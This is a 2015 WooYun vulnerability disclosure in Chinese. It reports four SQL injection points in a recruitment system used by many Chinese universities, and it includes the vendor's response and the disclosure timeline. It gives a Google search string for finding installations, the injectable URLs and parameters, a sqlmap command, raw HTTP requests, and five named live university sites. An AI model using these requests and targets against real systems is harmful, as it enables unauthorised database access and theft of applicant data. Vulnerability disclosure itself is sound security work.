当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0109309

漏洞标题：某高校大量使用系统多处SQL注射漏洞

相关厂商：江苏金智教育信息技术有限公司

漏洞作者： 路人甲

提交时间：2015-04-21 18:05

修复时间：2015-07-23 15:38

公开时间：2015-07-23 15:38

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-21： 细节已通知厂商并且等待厂商处理中
2015-04-24： 厂商已经确认，细节仅向厂商公开
2015-04-27： 细节向第三方安全合作伙伴开放
2015-06-18： 细节向核心白帽子及相关领域专家公开
2015-06-28： 细节向普通白帽子公开
2015-07-08： 细节向实习白帽子公开
2015-07-23： 细节向公众公开

简要描述：

某高校大量使用系统多处SQL注射漏洞

详细说明：

不知道是哪个厂商的，总共 4 个注入，一起打包，就交cert了
该系统被各个高校大量使用，Google搜索：inurl:zpsys

da.png


/zpsys/zssc/deletePhoto.jsp?SCLJ=1
/zpsys/apps/jsp/getitems.jsp?object=T_ZPXT_XXJL&fieldid=XLM*
/zpsys/jsp/rpassWord.jsp post:ZJHM
/zpsys/reportJsp/showReportXC.jsp?raq=WZYXY/ZPJLB.raq&YPXH=\'11658541*\'


#1 SQL注入一
sqlmap.oy -u "http://zhaopin.wmu.edu.cn/zpsys/zssc/deletePhoto.jsp?SCLJ=1"

1.png


#2 SQL注入二
/zpsys/apps/jsp/getitems.jsp 该漏洞需要注册一个用户登录（由于是招聘系统，系统均开放注册）后抓包

POST /zpsys/apps/jsp/getitems.jsp?object=T_ZPXT_XXJL&fieldid=XLM* HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: http://zhaopin.wmu.edu.cn/zpsys/resume/resumeinfo.jsp?txsm=%E4%BB%8E%E9%AB%98%E4%B8%AD%E5%A1%AB%E5%86%99%E8%B5%B7&IsreadOnly=no
x-requested-with: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Host: zhaopin.wmu.edu.cn
Content-Length: 60
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: JSESSIONID=0000WHxWrfH53PZZillAQ0_ysdS:16gt4b6ie
bizobj=HRMS%2FZPGLXT%2FZPGL%2FT_ZPXT_XXJL&fieldid=XLM&query=


1.png


#3 SQL注入三
/jsp/rpassWord.jsp
访问http://zhaopin.wmu.edu.cn/zpsys 点击忘记密码，填写后 抓包，即可用sqlmap测试

POST /zpsys/jsp/rpassWord.jsp?submit=true HTTP/1.1
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */*
Referer: http://zhaopin.wmu.edu.cn/zpsys/jsp/recoverPassword.jsp?ret=false
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: zhaopin.wmu.edu.cn
Content-Length: 28
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: JSESSIONID=0000WHxWrfH53PZZillAQ0_ysdS:16gt4b6ie
ZJHM=aa*&MMTSWT=aa&MMTSDA=aa


ZJHM存在注入

1.png


#4 SQL注入四
/zpsys/reportJsp/showReportXC.jsp?raq=WZYXY/ZPJLB.raq&YPXH=\'11658541*\'

1.png


5个案例：
http://zhaopin.wmu.edu.cn/zpsys
http://rszp.scuec.edu.cn/zpsys
http://zp.sta.edu.cn/zpsys
http://rs.hust.edu.cn/zpsys
http://hire.jiangnan.edu.cn/zpsys

漏洞证明：

SQLMAP测试的数据：

2.png

修复方案：

过滤

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2015-04-24 15:35

厂商回复：

CNVD未直接复现所述情况，已经由CNVD通过网站公开联系方式向软件生产厂商及赛尔教育通报。

最新状态：

暂无